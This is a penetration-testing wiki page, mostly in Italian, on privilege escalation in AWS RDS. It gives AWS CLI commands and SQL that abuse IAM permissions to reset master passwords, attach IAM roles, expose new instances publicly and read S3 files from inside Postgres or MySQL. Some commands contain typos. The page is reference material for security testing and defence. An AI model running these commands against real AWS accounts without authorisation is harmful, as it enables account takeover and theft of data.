# AWS - RDS Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## RDS - Servizio di database relazionale

Per ulteriori informazioni su RDS consulta:

{{#ref}}
../../aws-services/aws-relational-database-rds-enum.md
{{#endref}}

### `rds:ModifyDBInstance`

Con tale permesso un attaccante può **modificare la password dell'utente master**, e il login all'interno del database:
```bash
# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
```
> [!WARNING]
> Dovrai essere in grado di **contattare il database** (di solito sono accessibili solo dall'interno delle reti).

**Potenziale Impatto:** Trovare informazioni sensibili all'interno dei database.

### rds-db:connect

According to the [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) a user with this permission could connect to the DB instance.

### Abusare dei permessi IAM del ruolo RDS

#### Postgresql (Aurora)

> [!TIP]
> Se eseguendo **`SELECT datname FROM pg_database;`** trovi un database chiamato **`rdsadmin`** sai di essere all'interno di un database **AWS postgresql**.

Per prima cosa puoi verificare se questo database è stato usato per accedere ad altri servizi AWS. Puoi verificarlo osservando le estensioni installate:
```sql
SELECT * FROM pg_extension;
```
Se trovi qualcosa come **`aws_s3`** puoi assumere che questo database abbia **qualche tipo di accesso a S3** (ci sono altre estensioni come **`aws_ml`** e **`aws_lambda`**).

Inoltre, se hai i permessi per eseguire **`aws rds describe-db-clusters`** puoi verificare lì se il **cluster ha qualche IAM Role associato** nel campo **`AssociatedRoles`**. Se presente, puoi presumere che il database sia stato **preparato per accedere ad altri servizi AWS**. In base al **nome del ruolo** (o se riesci ad ottenere i **permessi** del ruolo) potresti **indovinare** quali accessi aggiuntivi ha il database.

Ora, per **leggere un file all'interno di un bucket** devi conoscere il percorso completo. Puoi leggerlo con:
```sql
// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;
```
Se disponessi di **raw AWS credentials** potresti anche usarle per accedere ai dati S3 con:
```sql
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
```
> [!NOTE]
> Postgresql **non ha bisogno di cambiare alcuna variabile del parameter group** per poter accedere a S3.

#### Mysql (Aurora)

> [!TIP]
> All'interno di un mysql, se esegui la query **`SELECT User, Host FROM mysql.user;`** e c'è un utente chiamato **`rdsadmin`**, puoi assumere di essere dentro un **AWS RDS mysql db**.

All'interno del mysql esegui **`show variables;`** e se variabili come **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, hanno dei valori, puoi assumere che il database sia preparato per accedere ai dati su S3.

Inoltre, se hai i permessi per eseguire **`aws rds describe-db-clusters`** puoi verificare se il cluster ha un **ruolo associato**, il che di solito significa accesso ai servizi AWS).

Ora, per **leggere un file all'interno di un bucket** devi conoscere il percorso completo. Puoi leggerlo con:
```sql
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
```
### `rds:AddRoleToDBCluster`, `iam:PassRole`

Un attacker con i permessi `rds:AddRoleToDBCluster` e `iam:PassRole` può **aggiungere un ruolo specificato a un'istanza RDS esistente**. Questo potrebbe permettere all'attacker di **accedere a dati sensibili** o di modificare i dati all'interno dell'istanza.
```bash
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
```
**Impatto potenziale**: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.\
Nota che alcuni DBs richiedono configurazioni aggiuntive come Mysql, che necessita anche di specificare il role ARN nei parameter groups.

### `rds:CreateDBInstance`

Solo con questa autorizzazione un attacker potrebbe creare una **nuova istanza all'interno di un cluster** che già esiste e ha un **IAM role** associato. Non sarà in grado di cambiare la master user password, ma potrebbe essere in grado di esporre la nuova istanza di database su Internet:
```bash
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
```
### `rds:CreateDBInstance`, `iam:PassRole`

> [!NOTE]
> TODO: Da testare

Un attaccante con i permessi `rds:CreateDBInstance` e `iam:PassRole` può **creare una nuova istanza RDS con un ruolo specificato allegato**. L'attaccante può poi potenzialmente **accedere a dati sensibili** o modificare i dati all'interno dell'istanza.

> [!WARNING]
> Alcuni requisiti del role/instance-profile da allegare (da [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)):

> - The profile must exist in your account.
> - The profile must have an IAM role that Amazon EC2 has permissions to assume.
> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` .
```bash
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
```
**Impatto potenziale**: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.

### `rds:AddRoleToDBInstance`, `iam:PassRole`

Un attaccante con i permessi `rds:AddRoleToDBInstance` e `iam:PassRole` può **aggiungere un ruolo specificato a un'istanza RDS esistente**. Questo potrebbe permettere all'attaccante di **accedere a dati sensibili** o modificare i dati all'interno dell'istanza.

> [!WARNING]
> L'istanza DB deve essere al di fuori di un cluster per questo
```bash
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
```
**Impatto potenziale**: Accesso a dati sensibili o modifiche non autorizzate ai dati nell'istanza RDS.

{{#include ../../../../banners/hacktricks-training.md}}
